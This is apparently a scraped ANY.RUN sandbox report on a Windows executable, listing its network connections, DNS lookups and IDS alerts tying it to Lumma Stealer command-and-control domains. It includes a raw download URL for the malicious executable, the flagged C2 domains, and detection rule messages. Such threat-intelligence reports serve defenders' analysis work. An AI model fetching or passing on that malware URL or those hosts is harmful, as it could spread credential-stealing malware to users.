http://185.39.17.162/luma/random.exe
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
2.16.164.72:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
—
—
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
5496
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
104.21.51.232:443
zenithcorde.top
CLOUDFLARENET
—
unknown
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.159.71:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.206.46
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 2.16.164.72
  • 2.16.164.49
  • 2.16.164.120
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 184.30.21.171
whitelisted
clarmodq.top
  • —
malicious
zenithcorde.top
  • 104.21.51.232
  • 172.67.190.162
unknown
client.wns.windows.com
  • 172.211.123.250
whitelisted
login.live.com
  • 20.190.159.71
  • 40.126.31.2
  • 40.126.31.130
  • 20.190.159.2
  • 40.126.31.1
  • 40.126.31.0
  • 40.126.31.73
  • 40.126.31.69
  • 20.190.160.128
  • 20.190.160.3
  • 40.126.32.72
  • 40.126.32.136
  • 20.190.160.5
  • 40.126.32.68
  • 40.126.32.134
  • 20.190.160.65
whitelisted
ocsp.digicert.com
  • 2.23.77.188
  • 184.30.131.245
whitelisted
slscr.update.microsoft.com
  • 20.12.23.50
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
2196
svchost.exe
A Network Trojan was detected
MALWARE [ANY.RUN] Suspected Domain Associated with Malware Distribution (clarmodq .top)
2196
svchost.exe
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clarmodq .top)
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
Misc activity
ET INFO Packed Executable Download
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
6516
37d87bfc0008f2a3dca742aac12a4b97.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 31
7364
saved.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 31
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
37d87bfc0008f2a3dca742aac12a4b97.exe